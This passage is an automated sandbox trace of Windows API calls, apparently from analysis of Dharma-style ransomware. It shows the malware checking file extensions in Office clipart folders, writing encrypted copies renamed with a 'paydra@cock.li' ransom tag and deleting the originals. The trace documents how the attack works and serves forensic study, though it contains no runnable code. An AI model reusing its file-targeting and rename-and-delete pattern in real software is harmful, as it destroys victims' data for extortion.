lpString2=".WMF") returned -1 [0053.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.191] lstrlenW (lpString=".zip") returned 4 [0053.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.191] lstrlenW (lpString=".rar") returned 4 [0053.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.191] lstrlenW (lpString=".bz2") returned 4 [0053.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.192] lstrlenW (lpString=".7z") returned 3 [0053.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.192] lstrlenW (lpString=".dbf") returned 4 [0053.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.192] lstrlenW (lpString=".1cd") returned 4 [0053.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.192] lstrlenW (lpString=".jpg") returned 4 [0053.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.193] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.193] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.193] GetLastError () returned 0x0 [0053.193] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0053.196] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0053.197] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.197] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.197] SetEndOfFile (hFile=0x210) returned 1 [0053.197] CloseHandle (hObject=0x210) returned 1 [0053.197] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.197] SetEndOfFile (hFile=0x214) returned 1 [0053.198] CloseHandle (hObject=0x214) returned 1 [0053.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString=".doc") returned 4 [0053.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString=".docx") returned 5 [0053.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.199] lstrlenW (lpString=".pdf") returned 4 [0053.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString=".xls") returned 4 [0053.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.199] lstrlenW (lpString=".xlsx") returned 5 [0053.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.199] lstrlenW (lpString=".ppt") returned 4 [0053.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString=".zip") returned 4 [0053.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.199] lstrlenW (lpString=".rar") returned 4 [0053.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString=".bz2") returned 4 [0053.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString=".7z") returned 3 [0053.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString=".dbf") returned 4 [0053.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString=".1cd") returned 4 [0053.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0053.199] lstrlenW (lpString=".jpg") returned 4 [0053.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.200] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.200] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.200] GetLastError () returned 0x0 [0053.200] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0053.202] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0053.203] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.203] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.203] SetEndOfFile (hFile=0x210) returned 1 [0053.203] CloseHandle (hObject=0x210) returned 1 [0053.204] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.204] SetEndOfFile (hFile=0x214) returned 1 [0053.205] CloseHandle (hObject=0x214) returned 1 [0053.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0053.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.205] lstrlenW (lpString=".doc") returned 4 [0053.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.205] lstrlenW (lpString=".docx") returned 5 [0053.205] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.205] lstrlenW (lpString=".pdf") returned 4 [0053.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.205] lstrlenW (lpString=".xls") returned 4 [0053.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.205] lstrlenW (lpString=".xlsx") returned 5 [0053.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.205] lstrlenW (lpString=".ppt") returned 4 [0053.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.205] lstrlenW (lpString=".zip") returned 4 [0053.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.206] lstrlenW (lpString=".rar") returned 4 [0053.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.206] lstrlenW (lpString=".bz2") returned 4 [0053.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.206] lstrlenW (lpString=".7z") returned 3 [0053.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.206] lstrlenW (lpString=".dbf") returned 4 [0053.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.206] lstrlenW (lpString=".1cd") returned 4 [0053.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0053.206] lstrlenW (lpString=".jpg") returned 4 [0053.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.206] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.206] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.207] GetLastError () returned 0x0 [0053.207] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0053.208] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0053.210] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.210] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.210] SetEndOfFile (hFile=0x210) returned 1 [0053.210] CloseHandle (hObject=0x210) returned 1 [0053.210] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.210] SetEndOfFile (hFile=0x214) returned 1 [0053.211] CloseHandle (hObject=0x214) returned 1 [0053.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0053.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.212] lstrlenW (lpString=".doc") returned 4 [0053.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.212] lstrlenW (lpString=".docx") returned 5 [0053.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.212] lstrlenW (lpString=".pdf") returned 4 [0053.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.212] lstrlenW (lpString=".xls") returned 4 [0053.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.212] lstrlenW (lpString=".xlsx") returned 5 [0053.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.212] lstrlenW (lpString=".ppt") returned 4 [0053.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.212] lstrlenW (lpString=".zip") returned 4 [0053.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.212] lstrlenW (lpString=".rar") returned 4 [0053.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.212] lstrlenW (lpString=".bz2") returned 4 [0053.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.212] lstrlenW (lpString=".7z") returned 3 [0053.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.212] lstrlenW (lpString=".dbf") returned 4 [0053.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.213] lstrlenW (lpString=".1cd") returned 4 [0053.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0053.213] lstrlenW (lpString=".jpg") returned 4 [0053.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.213] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.213] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.213] GetLastError () returned 0x0 [0053.213] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0053.215] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0053.217] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.217] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.217] SetEndOfFile (hFile=0x210) returned 1 [0053.217] CloseHandle (hObject=0x210) returned 1 [0053.217] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.217] SetEndOfFile (hFile=0x214) returned 1 [0053.218] CloseHandle (hObject=0x214) returned 1 [0053.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0053.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.219] lstrlenW (lpString=".doc") returned 4 [0053.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString=".docx") returned 5 [0053.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.219] lstrlenW (lpString=".pdf") returned 4 [0053.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString=".xls") returned 4 [0053.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.219] lstrlenW (lpString=".xlsx") returned 5 [0053.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.219] lstrlenW (lpString=".ppt") returned 4 [0053.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.219] lstrlenW (lpString=".zip") returned 4 [0053.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.219] lstrlenW (lpString=".rar") returned 4 [0053.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString=".bz2") returned 4 [0053.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString=".7z") returned 3 [0053.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.219] lstrlenW (lpString=".dbf") returned 4 [0053.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.219] lstrlenW (lpString=".1cd") returned 4 [0053.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0053.220] lstrlenW (lpString=".jpg") returned 4 [0053.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.220] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.220] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.220] GetLastError () returned 0x0 [0053.220] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0053.374] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0053.375] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.375] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.376] SetEndOfFile (hFile=0x210) returned 1 [0053.939] CloseHandle (hObject=0x210) returned 1 [0053.939] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.939] SetEndOfFile (hFile=0x214) returned 1 [0053.941] CloseHandle (hObject=0x214) returned 1 [0053.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.941] lstrlenW (lpString=".doc") returned 4 [0053.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString=".docx") returned 5 [0053.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.942] lstrlenW (lpString=".pdf") returned 4 [0053.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString=".xls") returned 4 [0053.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.942] lstrlenW (lpString=".xlsx") returned 5 [0053.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.942] lstrlenW (lpString=".ppt") returned 4 [0053.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.942] lstrlenW (lpString=".zip") returned 4 [0053.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.942] lstrlenW (lpString=".rar") returned 4 [0053.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString=".bz2") returned 4 [0053.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString=".7z") returned 3 [0053.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.942] lstrlenW (lpString=".dbf") returned 4 [0053.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.942] lstrlenW (lpString=".1cd") returned 4 [0053.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0053.942] lstrlenW (lpString=".jpg") returned 4 [0053.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.943] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.943] GetLastError () returned 0x0 [0053.943] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0053.945] WriteFile 